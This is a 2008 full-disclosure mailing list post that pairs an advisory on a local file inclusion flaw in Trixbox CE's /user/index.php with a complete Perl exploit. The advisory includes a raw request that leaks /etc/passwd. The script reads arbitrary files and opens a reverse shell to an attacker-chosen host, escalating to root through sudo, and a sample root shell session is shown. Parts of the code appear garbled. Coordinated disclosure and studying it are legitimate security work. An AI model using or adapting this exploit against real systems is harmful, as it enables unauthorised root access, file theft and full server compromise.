I have discovered a file inclusion in Trixbox that may be exploited to run arbitrary code and eventually obtain a root shell. The vendor (Fonality) has been noticed about this issue. They have fixed it and shall release a patch this week. I have already posted an exploit (giving a shell with uid=asterisk) on www.milw0rm.com and at securityfocus (BID=30135) but since I have figured out afterwards that it was also possible to obtain a root shell, those exploits should be updated: Please find hereafter the advisory and the updated exploit: ADVISORY: Vulnerability Found: 7th July 2008 Vendor informed: 7th July 2008 Severity: Critical BID: 30135 Successfully tested on: Trixbox CE 2.6.1 and below Description: A local file inclusion vulnerability affects Trixbox CE, an Asterisk-based PBX Phone system. This issue is due to a failure of the application to properly sanitize POST data assigned to a parameter of the /user/index.php page. An attacker may leverage this issue to read local files, execute PHP scripts and eventually obtain a root shell. Vulnerable server-side program: '/user/index.php' Vulnerable parameter: 'langChoice' Proof of concept: COMPLETE HTTP REQUEST: POST /user/index.php HTTP/1.1 Host: 192.168.1.107 Content-Type: application/x-www-form-urlencoded Content-Length: 39 langChoice=../../../../../etc/passwd%00 COMPLETE HTTP RESPONSE: HTTP/1.1 200 OK Date: Tue, 08 Jul 2008 13:25:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.2 Set-Cookie: PHPSESSID=98b589cad80822c098942d33a1558b9f; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 1f4a root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin [...] Consequences: A remote root shell can be obtained on the affected server. Fix: Fonality has stated that they have submitted a fix into SVN and it will be part of the next update that will go out this week. Credits: Jean-Michel BESNARD of LEXSI Audit. EXPLOIT #!/usr/bin/perl -w # Jean-Michel BESNARD / LEXSI Audit # 2008-07-09 # This is an update of the previous exploit. We can now get a root shell, thanks to sudo. # # perl trixbox_fi_v2.pl 192.168.1.212 # Please listen carefully as our menu option has changed # Choose from the following options: # 1> Remote TCP shell # 2> Read local file # 1 # Host and port the reverse shell should connect to ? (:): 192.168.1.132:4444 # Which uid would you like for your shell ? (uid=root will be OK on most recent trixbox versions only): [root|asterisk] # root # Make sure you've opened a server socket on port 4444 at 192.168.1.132 (e.g, nc -l -p 4444) # Press enter to continue... # done... # nc -l -v -p 4444 # listening on [any] 4444 ... # connect to [192.168.1.132] from lexsi-abo-new.lexsi.com [192.168.1.212] 48397 # bash: no job control in this shell # bash-3.1# id # uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) # bash-3.1# use strict; use Switch; use LWP::UserAgent; use HTTP::Cookies; usage() unless @ARGV; my $url = "http://$ARGV[0]/user/index.php"; my $ua = LWP::UserAgent->new; my $cookie_jar = HTTP::Cookies->new; $ua->cookie_jar($cookie_jar); menu(); sub execScript{ my $scriptCode = shift; post($scriptCode); my $phpsessionid = extractPHPSID($cookie_jar->as_string); post("langChoice=../../../../../../../../../../tmp/sess_$phpsessionid%00"); } sub post{ my $postData = shift; my $req = HTTP::Request->new(POST => $url); $req->content_type('application/x-www-form-urlencoded'); $req->content($postData); my $res = $ua->request($req); my $content = $res->content; return $content; } sub readFile{ my $file = shift; my $content = post("langChoice=../../../../../../../../../..$file%00"); my @fileLines = split(/\n/,$content); my $fileContent = "Content of $file: \n\n"; for(my $i=3;$i<@fileLines;$i++){ last if($fileLines[$i] =~ m/trixbox - User Mode/); $fileContent = $fileContent . $fileLines[$i-3] . "\n"; } return $fileContent; } sub tcp_reverse_shell{ my $rhost= shift; my $rport = shift; my $uid = shift; my $rshell; if($uid eq "asterisk"){ $rshell = "langChoice=%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec({\"/bin/sh\"} (\"JMB\", \"-i\"));'`;?>%00"; }else{ $rshell = "langChoice=%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec(\"/usr/bin/sudo\",\"/bin/bash\", (\"-i\"));'`;?>%00"; } execScript($rshell); } sub extractPHPSID{ $_ = shift; if(/PHPSESSID=(\w+)/){ return $1; } } sub menu{ print < Remote TCP shell 2> Read local file EOF my $option = ; chop($option); switch($option){ case 1 { print "Host and port the reverse shell should connect to ? "; print "(:): "; my $hp=; chop($hp); print "Which uid would you like for your shell ? (uid=root will be OK on most recent trixbox versions only): [root|asterisk]"; my $uid=; chop($uid); my($rhost,$rport) = split(/:/,$hp); print "Make sure you've opened a server socket on port $rport at $rhost (e.g, nc -l -p $rport)\n"; print "Press enter to continue..."; ; tcp_reverse_shell($rhost,$rport,$uid); print "done...\n"; } case 2 { while(1){ print "Full path (e.g. /etc/passwd): "; my $file = ; chop($file); print readFile($file) . "\n\n"; } } } } sub usage{ print "./trixbox_fi.pl \n"; exit 1; } _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/